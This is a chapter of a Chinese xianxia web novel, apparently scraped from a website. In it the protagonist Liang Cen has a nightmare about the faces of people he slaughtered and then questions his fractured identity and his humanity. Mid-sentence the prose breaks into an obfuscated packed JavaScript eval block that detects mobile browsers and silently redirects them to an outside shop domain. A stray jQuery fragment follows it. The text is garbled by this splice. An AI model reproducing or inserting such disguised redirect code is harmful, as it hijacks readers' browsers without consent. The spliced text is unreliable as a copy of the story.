良岑推开卧房的门时，秦枉柯已经睡着了。
她蜷在那张从镇上木匠铺子里淘来的旧竹榻上，被子蹬掉了一半，露出两只光溜溜的小脚丫。她睡得很沉，呼吸又浅又匀，睫毛在月光里投下两小片扇形的阴影，随着呼吸轻轻起伏。
良岑站在榻边，低头望着她。他把被子从她腿边捞起来，重新盖到她肩上，掖好被角，走到自己的榻边，和衣躺下。
良岑阖上眼。
他不知道自己是什么时候睡着的。
他只知道他醒来时，发现自己站在一座桥上。
姑苏的石桥。青石板铺的桥面，缝隙里生着细细的青苔，苔色墨绿，踩上去有一种湿漉漉的柔软。桥下的河水是黑的，流得很慢，慢到像是这条河已经死了很久，只剩一具躯壳还在原地维持着河的模样。
河面上漂着一层灰绿色的雾，雾里有什么东西在浮动。
是脸。桑榆村老张的脸，太子良生秋的脸，那些被他用骨箫操控着互相砍杀的禁军的脸，那些在睡梦中被他屠了满门的陌生村庄里男女老幼的脸。他们的眼睛都是睁着的，在水面下半浮半沉，凝视着他。
没有人说话，没有人骂他，甚至没有人眨一下眼。他们只是望着他，安安静静地，从桥下漂过去，一张接一张，久久不停，甚至久到良岑已经开始怀疑这条河有没有尽头，久到他开始怀疑这些脸是不是从忘川一直漂到了这里，漂了几万里，只是为了看他一眼。
良岑站在桥上望着他们。他张不开嘴，嘴唇像是被一根极细极透明的丝线缝住了，线头藏在舌根底下，每当他想要开口便抽紧一分。
桥那头站着一个人，是姑苏城的一个散修。
良岑费力辨认许久，才发现这正是他自己。那个“他”站在桥头望着他，面上带着一种极古怪的笑意。他听见自己的声音从那个人的嘴唇间传出来，每一个字都清晰得令他头皮发麻。那声音是他自己的，语气是他自己的，连说话时上扬的温软调子都是他惯常的。
“你是个什么东西——不过是从姑苏城外的野修。你渡的那些亡魂，有几个是真心感激你的？你救的那些凡人，有几个没有朝你扔过火把？白玉京把你当替身，忘川把你当祭品，桑榆村把你当瘟神。你活了几百年，活成了谁的花神？”
“冥昭的亡妻？榭予桉的道侣？良生秋的先祖？你是谁？你叫什么名字？”
“你自己还记得吗。”
良岑的瞳孔猛地收缩。他想说“我是良岑”。可他张开了嘴，那四个字卡在喉咙里，像一根鱼骨横亘在声带之间，吞不下也吐不出。
他是良岑，但他是哪个良岑？姑苏城外的散修，白玉京的花神，忘川地窖里的阶下囚，乱葬岗上的残魂，桑榆村老槐树上的妖道，金陵皇城通缉令上的罪人，深夜屠村的嗜魂者。
哪一个都是他。
哪一个都曾经是他。
可当他试图把这些名字叠在一起，叠成一个完整的、连续的、从头到尾始终如一的“良岑”时，他发现它们叠不上去。每一张脸和下一张脸之间都隔着一条缝，缝里灌着忘川的风。
桥下的河水开始上涌。那些脸随着水位浮上来了，一张接一张，挤挤挨挨地贴在桥墩上，贴在彼此的脸上，嘴唇翕动着，吐出同一个问题。那问题从河面上涌上来，裹着灰绿色的雾、河底淤泥的腥气，裹着亡魂们喉咙里残存的最后一缕气息，灌进他的耳膜他的颅骨，灌进他神魂裂缝最深处那个空荡荡的洞穴里。
“你是谁？”
良岑猛地睁开眼。
月光从窗棂的缝隙里漏进来，在天花板上投下几道细长的银线。他的后背全湿透了，衣裳贴在皮肤上，冷得像一层刚从冰水里捞出来的殓布。
手在发抖，牙齿在打颤，上下牙磕在一起发出极细极密的咯咯声，在寂静的卧房里格外清晰。神魂裂缝里灌进来的风正在他的胸腔里横冲直撞，像一只被困在密室里的鸟，拼命地扑腾，翅膀上的羽毛一片片地撞落下来，每一片都冰凉。
你是谁？
他坐起来，把脸埋进掌心里。手指攥着发根，指甲嵌进头皮，想用那种锐利的疼把脑子里那个还在反复回响的问题压下去。
良岑不知道自己是谁。
他活了几百年，做过散修......那时候他还年轻，还会在乱葬岗上替无主尸骨覆一抔土，还会蹲在尸身旁低声念一段连他自己都不太信的往生咒；做过花神......花神殿里的香火很淡，蓝桉树的气味盖过了檀香，他每日清晨推开殿门，便能看见那只鸟蹲在枝头；做过阶下囚，做过残魂，做过走尸，做过被万民唾骂的罪人。
他替人送葬、超度，替人挡天雷、背黑锅。他被人跪拜过：丹陛之下满朝文武跪了一地，连人皇都从龙椅上站起来，颤声唤他“花神大人”；他也被人举火烧过：桑榆村老槐树下，人们亲手把火把扔在他脚下的柴堆上。
他被人爱过。
榭瑾在神农鼎前跪了二十四年，剜眼拔羽伤腕渡血，把命都给了他。那只鸟把苦刃横在院门口挡着他的去路，用近乎乞求的姿态说“今晚你不要出去”，然后被他一字一句地刺穿了心口最软的那个位置。
良岑抬头，望着镜中那张陌生
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17613098|206022||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的脸——眉骨被易容术压低了三分，鼻梁被垫宽了半寸。他盯着那双在深夜屠村后残留着暗金色光晕的眼睛，那双眼睛也在镜中盯着他。
他分不清镜子里的人究竟是谁。
他是在为那些他杀过的人赎罪吗？那他为什么还在屠戮？
他是在替冥昭的亡妻向凡人复仇吗？那他为什么还要收养秦枉柯？
他是在惩罚那些背弃了他的凡人吗？那他为什么每回屠完村之后，还要弯下腰，把那些尸首的眼睛一具一具地阖上？
他曾经以为自己是受害者。在桑榆村老槐树上被火烧的时候，他是这样以为的。后来他以为自己想通了，接受了，麻木了——那些凡人就是这样的，冥昭说得对，这就是人的本来面目。
再后来他以为自己变成了加害者，变得冷酷残忍，变得可以毫无负担地碾碎任何一个挡在他面前的人。可他如今躺在这张陌生的榻上，望着天花板上的月光，发现那些标签：受害者、加害者、花神、妖孽，每一个都曾经准确地描述过他，每一个都已经能不再准确地描述他了。
它们像一件一件穿过的衣裳，挂在衣柜里，每一件都还带着他当时的体温。
良岑，良岑，良玉温。
他是一团搅烂了的、混着血与蜜的淤泥。
他最恨的，竟是......
他连恨都恨得不彻底。恨到一半，总会看见秦枉柯攥着他的头发咿咿呀呀地笑。他的恨被这些细碎的、温热的、剪不断理还乱的丝线缠住了，缠成了一个死结，只能任由它勒进肉里，和骨肉生长在一起。
他曾经认为自己看透了人性。
无可厚非，人性是善的。他在姑苏城外替无主尸骨覆土时是这样以为的。
无可厚非，人性亦是恶的。他在桑榆村老槐树上被火烧时是这样以为的。
或许，人性大抵是复杂的。他以为自己已经看得很清楚了。
可他此刻躺在这张榻上，忽然发现一个更让他恐惧的问题：他连自己都看不清，凭什么去看透人性？他是一具个活死人，一缕残魂，一个靠吞噬亡魂苟延残喘的怪物。
那他自己呢？
他的人性还在吗？
他抬起那只还在发抖的手，摊在月光下，望着掌心里那几道被苦刃割破又愈合的旧疤。这只手曾经替亡魂整过衣冠、梳过鬓发，在手心里放进一朵蓝桉花，然后轻轻一推，送他们过忘川。这只手也曾经用骨箫操控过无数活人，让他们眼睁睁看着自己的手砍死妻儿、剖开丹田、捏碎金丹。
同一只手。同一个人。
同一个？